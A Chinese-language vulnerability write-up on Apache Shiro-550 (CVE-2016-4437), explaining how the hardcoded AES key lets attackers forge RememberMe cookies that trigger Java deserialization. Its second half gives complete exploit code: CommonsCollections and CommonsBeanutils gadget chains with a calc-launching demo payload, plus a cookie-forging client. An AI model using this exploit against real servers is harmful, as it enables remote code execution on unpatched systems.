0x01 前言
Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架目前最流行的是Spring Security和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好,因此使用者众多。shiro-550是16年爆出的漏洞,CVE编号CVE-2016-4437
,这个漏洞虽然很老,但是在现在红蓝对抗中依旧十分常见。
影响版本:Apache Shiro <= 1.2.4
0x02 漏洞分析
Apache Shiro
框架提供了记住我的功能(RememberMe
),用户登录成功后会生成经过加密并编码的RememberMe Cookie
。Cookie的key为RememberMe
,Cookie的value是相关信息进行Java序列化->AES对称加密->Base64编码
一系列操作生成的值。
服务端在接收cookie时,服务端会对cookie值进行Base64解码->AES解密->Java反序列化
。
如果AES密钥泄露,那我们便可以使服务端反序列化我们的数据,从而造成反序列化漏洞。而在Shiro 1.2.4版本前AES Key是硬编码在代码中的,1.2.4版本前内置且固定的默认密钥为kPH+bIxk5D2deZiIxcaaaA==
。
分析案例采用p牛的shirodemo。
环境配置成功后,登录界面如下:
当输入正确的用户和口令并勾选Remember me时,服务端会返回RememberMe Cookie。
当携带正确的Cookie登录时可以访问到登录成功页面。如果修改Cookie值则会返回302跳转,需要注意一点的是需要将JSESSIONID
字段删除,Shiro会在JSESSIONID
校验失败时才会从Cookie中获取rememberMe
值来反序列化校验用户身份。
在shiro中处理rememberMe cookie的主要有两个类,分别是shiro-core-1.2.4.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.class
和shiro-web-1.2.4.jar!\org\apache\shiro\web\mgt\CookieRememberMeManager.class
。其中CookieRememberMeManager
类继承了AbstractRememberMeManager
类。从AbstractRememberMeManager
类中可以看到硬编码的AES Key。
shiro生成rememberMe
在用户登录成功后,会调用AbstractRememberMeManager#onSuccessfulLogin
生成cookie,在该方法处打断点,调试。
forgetIdentity方法最终会调用到removeFrom方法,该方法的作用是设置cookie: rememberMe=deleteMe
。
接着isRememberMe方法会判断用户是否选择了rememberMe选项,如果选择了该功能,则接着调用rememberIdentity
方法。否则判断是否开启调试,开启调试则打印debug信息,未开启调试该方法直接结束。跟进rememberIdentity
方法。getIdentitiToRemember
方法会生成一个PrincipalCollection
对象,里面包含登录信息。继续跟进其重构方法rememberIdentity
方法,传入参数为Subject
和刚生成的PrincipalCollection
对象。convertPrincipalsToBytes
方法会将传入的PrincipalCollection
转换为byte数组,跟进该方法查看具体实现。该方法中调用了serialize方法和encrypt方法,从名称我们也可猜测出这两个方法便是实现之前提到的序列化数据并AES加密。
首先跟进serialize
方法,该方法将数据进行序列化,这部分代码与平常我们写的序列化代码功能上没有什么不同,shiro只是对序列化方法进行了一定的封装。getCipherService
判断是否存在加密服务,默认加密服务为AES加密服务。
跟进encrypt
方法,该方法调用了CipherService#encrypt
方法和getEncryptionCipherKey
方法。
跟进getEncryptionCipherKey
方法,这个方法会直接返回CipherService类中的该属性,而该属性在调试中是存在值的,那这个属性是什么时候赋值的呢?
简单查看发现是在AbstractRememberMeManager
进行实例化的时候进行设置的,将encryptionCipherKey
和decryptionCipherKey
都设置为了DEFAULT_CIPHER_KEY_BYTES
,也就是固定编码的kPH+bIxk5D2deZiIxcaaaA==
。
跟进cipherService#encrypt
方法,shiro采用CBC模式的AES加解密方式,填充方式为PKCS5Padding
而CBC模式需要提供一个初始向量和待加密数据进行异或,再使用key对其进行加密,而generateInitializationVector则会随机产生一个方向向量提供给AES CBC加密。
跟进encrypt
方法,传入参数为明文、密钥、方向向量和generate。该方法首先会判断是否存在方向向量并且方向向量长度大于0,判断为true后,调用crypt方法进行加密。最终结果为方向向量和加密数据的拼接,其中方向向量占据前16个字节。
最后调用rememberSerializedIdentity方法对加密后的数据进行Base64加密,并设置到cookie中。
shiro解析rememberMe
解密部分主要在rememberSerializedIdentity
方法中,主要调用了getRememberedSerializedIdentity
方法和convertBytesToPrincipals
方法。
首先跟进getRememberedSerializedIdentity
方法,该方法会从cookie中获取到rememberMe字段的value,并对该值进行base64解码。
跟进convertBytesToPrincipals方法,该方法会对数据进行解密和反序列化。
跟进两次decrypt
方法后,该方法会拆分数据中的iv向量和密文,再调用decrypt
进行解密。
解密后,调用deserialize方法对明文进行反序列化。
需要注意的是,跟进deserialize
方法后,其中进行readObject
的对象不再是ObjectInputStream
,而是shiro的ClassResolvingObjectInputStrean
对象,该对象重写了resolveClass
方法,而readObject
在其内部实现中会调用到resolveClass
方法,而shiro重写的resolveClass
方法中,使用ClassUtils.forName
加载类,而ObjectInputStream
的resolveClass
函数用的是Class.forName
。对于此问题,p牛给出的结论是:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
具体可参考:
- https://www.anquanke.com/post/id/192619
- https://www.cnblogs.com/nice0e3/p/14127885.html#0x02-shiro-resolveclass%E6%96%B9%E6%B3%95%E5%88%86%E6%9E%90
相关问题
从上述分析可以看出,只要我们知道AES key和iv向量我们就可以伪造数据,但实际上只需要AES key即可,因为iv向量shiro并没有保存在本地,而是从cookie中获取到的,这都是我们可以控制的。我们只需要使用AES CBC加密后将iv向量拼接到密文开头即可。
0x03 漏洞利用
CCShiro链
由于上文提到的shiro反序列化不能存在非Java自身数组的问题,所以反序列化利用链的sink就不能使用transformer数组了,只能使用TemplatesImpl加载恶意字节码。对于中继,也不能够使用TrAXFilter和InstantiateTransformer的transformer数组。这里p牛将CC6进行改造,将sink改为TemplatesImpl。利用链CCShiro如下:
package com.govuln.shiroattack;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CCShiro {
public byte[] getPayload(byte[] clazzBytes) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollectionsShiro");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("getClass",new Class[]{},new Object[]{});
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,transformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,templatesImpl);
HashMap hashMap=new HashMap(1);
hashMap.put(tiedMapEntry,"value");
lazyMap.clear();
//通过反射覆盖原本的iMethodName,防止序列化时在本地执行命令
Field field2 = InvokerTransformer.class.getDeclaredField("iMethodName");
field2.setAccessible(true);
field2.set(transformer, "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
return barr.toByteArray();
}
}
payload生成代码如下:
package com.govuln.shiroattack;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
byte[] payloads = new CCShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
有一点疑问是,shiro进行反序列化处理时会将前16个字节当作方向向量,而我们生成payload的过程中并没有体现这一点,这是为什么?因为p牛直接调用的shiro的加密函数,所以这一步骤操作已经在其encrypt函数中存在了,也就不用考虑了,如果使用其它方式来生成payload,则需要考虑到iv方向向量的问题。
CB链
使用CCShiro链需要依赖CC,而shiro本身是依赖部分CC,如果目标项目没有引入CC,则以上利用链无法使用。幸运的是shiro本身也存在一个链CB链,CB链如下:
package com.govuln.shiroattack;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class CB {
public byte[] getPayload() throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool= ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsBeanutils");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
BeanComparator beanComparator = new BeanComparator();
beanComparator.setProperty("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field field2 = priorityQueue.getClass().getDeclaredField("queue");
field2.setAccessible(true);
field2.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});
Field field3 = priorityQueue.getClass().getDeclaredField("comparator");
field3.setAccessible(true);
field3.set(priorityQueue,beanComparator);
Field field4 = beanComparator.getClass().getDeclaredField("comparator");
field4.setAccessible(true);
field4.set(beanComparator,String.CASE_INSENSITIVE_ORDER);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
return barr.toByteArray();
}
}
在shirodemo的pom.xml中删除cc 3.2.1依赖,重启后发送payload。
0x04 总结
关于shiro反序列化还有许多内容没有覆盖到,比如shiro回显问题、还存在其它利用链的问题等等。本篇文章只关注漏洞原理部分。